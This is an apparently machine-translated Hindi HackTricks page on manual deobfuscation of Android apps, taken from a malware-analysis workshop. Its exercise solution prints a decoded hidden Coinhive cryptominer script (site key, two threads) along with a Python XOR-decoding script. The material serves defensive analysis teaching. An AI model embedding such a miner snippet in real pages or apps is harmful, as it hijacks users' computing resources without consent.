hacktricks/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

15 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

https://maddiestone.github.io/AndroidAppRE/obfuscation.html से कॉपी किया गया (वहां आप समाधान पा सकते हैं)**

Logo

कई बार ऐसा होता है कि आपके पास उलट-पुलट ऐप्लिकेशन होती है जो आपके द्वारा रिवर्स इंजीनियरिंग की गई उदाहरणों की तुलना में सीधी नहीं होती है। डेवलपर अपने ऐप के व्यवहार और/या अंमल को छिपाने के लिए एक या अधिक उलट-पुलट करने की तकनीक का अमल करेगा। यह निष्पक्ष और दुष्टिपूर्ण दोनों कारणों के लिए हो सकता है।

उलट-पुलट करने के बारे में याद रखने की कुंजी यह है कि यदि आप इसे उलट-पुलट करना चाहते हैं, तो आप कर सकते हैं। महत्वपूर्ण निर्णय यह नहीं है कि क्या आप कर सकते हैं, बल्कि यह है कि क्या उलट-पुलट करने के लिए संसाधनों का उपयोग करना योग्य है या नहीं।

आप हमेशा कुछ भी उलट-पुलट कर सकते हैं क्योंकि अंततः सीपीयू को किसी न किसी समय अनउलट-पुलट कोड देखना होगा ताकि इसे चलाने के लिए।

उलट-पुलट करने का तरीका

ऐप्लिकेशन को उलट-पुलट करने के लिए आप कैसे चुनते हैं, यह उलट-पुलट करने की विधि पर निर्भर करेगा, लेकिन यहां कुछ सामान्य तकनीकें हैं जो आमतौर पर अच्छी तरह से काम करती हैं। यहां, हम केवल स्थिर उलट-पुलट करने की तकनीकों पर ही चर्चा करेंगे क्योंकि यह कार्यशाला केवल स्थिर विश्लेषण/रिवर्सिंग को कवर करती है। हालांकि, ध्यान दें कि ऐप्लिकेशन को चलाने और गतिशील विश्लेषण करने का एक और बढ़िया तरीका हो सकता है उलट-पुलट करने के लिए।

डेक्स बाइटकोड (जावा) में उलट-पुलट करने के लिए, स्थिर उलट-पुलट करने का सबसे आसान तरीका ऐप्लिकेशन में उलट-पुलट करने के तरीकों की पहचान करना है और उनके डीकंपाइलेशन को एक जावा फ़ाइल में कॉपी करना है, जिसे आप फिर उलट-पुलट फ़ाइल, स्ट्रिंग, कोड आदि पर चलाते हैं।

जावा और नेटिव कोड के लिए एक और समाधान है, उलट-पुलट करने की एल्गोरिदम को पायथन या किसी अन्य स्क्रिप्टिंग भाषा में अनुवाद करना, जिसमें आप सबसे अधिक सुविधाजनक हैं। मैं "अनुवाद करना" कहता हूँ क्योंकि यह ध्यान देने योग्य है कि आपको हमेशा उलट-पुलट करने की एल्गोरिदम को *समझने* की आवश्यकता नहीं होती है, आपको इसे चलाने का एक तरी

अभ्यास 7 - स्ट्रिंग डीओबफस्केशन

इस अभ्यास में, हम एक ऐप्लिकेशन का विश्लेषण करने के लिए स्ट्रिंग डीओबफस्केशन का अभ्यास करेंगे। अभ्यास के लिए हम VM में ~/samples/ClashOfLights.apk पर उपलब्ध नमूना का उपयोग करेंगे। इस नमूने का SHA256 डाइजेस्ट c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5 है।

लक्ष्य

संकेतों को पहचानने और उन्हें डीओबफस्केट करने के लिए एक समाधान विकसित करना।

अभ्यास संदर्भ

आप एक मैलवेयर विश्लेषक हैं जो इस ऐप्लिकेशन की समीक्षा कर रहे हैं ताकि आप यह निर्धारित कर सकें कि क्या यह मैलवेयर है या नहीं। आप एक ऑबफस्केटेड जावास्क्रिप्ट स्ट्रिंग के साथ सामने आते हैं जो लोड हो रही है और इसे डीओबफस्केट करने के लिए आपको यह निर्धारित करना होगा कि क्या ऐप्लिकेशन खतरनाक है या नहीं। आप ऐप्लिकेशन को डायनामिक रूप से नहीं चला सकते हैं और स्टेटिक रूप से जावास्क्रिप्ट क्या है यह निर्धारित करने की आवश्यकता होती है।

निर्देश

  1. डीओबफस्केट करने के लिए आपको स्ट्रिंग ढूंढ़ना होगा
  2. उसे डीओबफस्केट करने वाली रूटीन की पहचान करें।
  3. स्ट्रिंग को डीओबफस्केट करने के लिए आप कैसे समाधान लिखना चाहेंगे उसे निर्धारित करें।
  4. यह करें :)

समाधान

डीओबफस्केट किया गया स्ट्रिंग है:

<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>

मैंने इसे डी-ऑबफस्केट करने के लिए लिखा हुआ Python स्क्रिप्ट है:

enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"

length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str


key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)

और उदाहरण

मैंने कुछ टॉक्स किए हैं जिनमें एंड्रॉइड ऐप्स को डी-ऑबफस्केट करने के विभिन्न ऑबफस्केशन मेकेनिज़म को शामिल किया गया है। इन टॉक्स में, मैं उन्नत ऑबफस्केशन तकनीकों, उन्हें डी-ऑबफस्केट करने के लिए मेरी समाधान, और जब मैंने डी-ऑबफस्केट करने का निर्णय लेने के लिए विचार किए थे तब मैंने कैसे चुनाव किए थे, इन सबके बारे में चर्चा करता हूँ।

  • BlackHat USA 2018: "Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library" [वीडियो]
  • इस टॉक में, मैं एक ऐसी एंड्रॉइड एप्लिकेशन द्वारा उपयोग की जाने वाली सबसे जटिल एंटी-विश्लेषण प्राकृतिक पुस्तकालय का पुनर्जनन करने के बारे में चर्चा करता हूँ। इसमें मुख्य रूप से प्राकृतिक कोड में ऑबफस्केशन तकनीकों का वर्णन किया गया है।
  • REcon 2019: "The Path to the Payload: Android Edition" [वीडियो]
  • इस टॉक में, एक एंड्रॉइड बॉटनेट द्वारा उपयोग की जाने वाली एक श्रृंखला के ऑबफस्केशन तकनीकों का वर्णन किया गया है, जो केवल जावा कोड में होती है, जिसका उपयोग इसके व्यवहार को छिपाने के लिए किया जाता है।
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥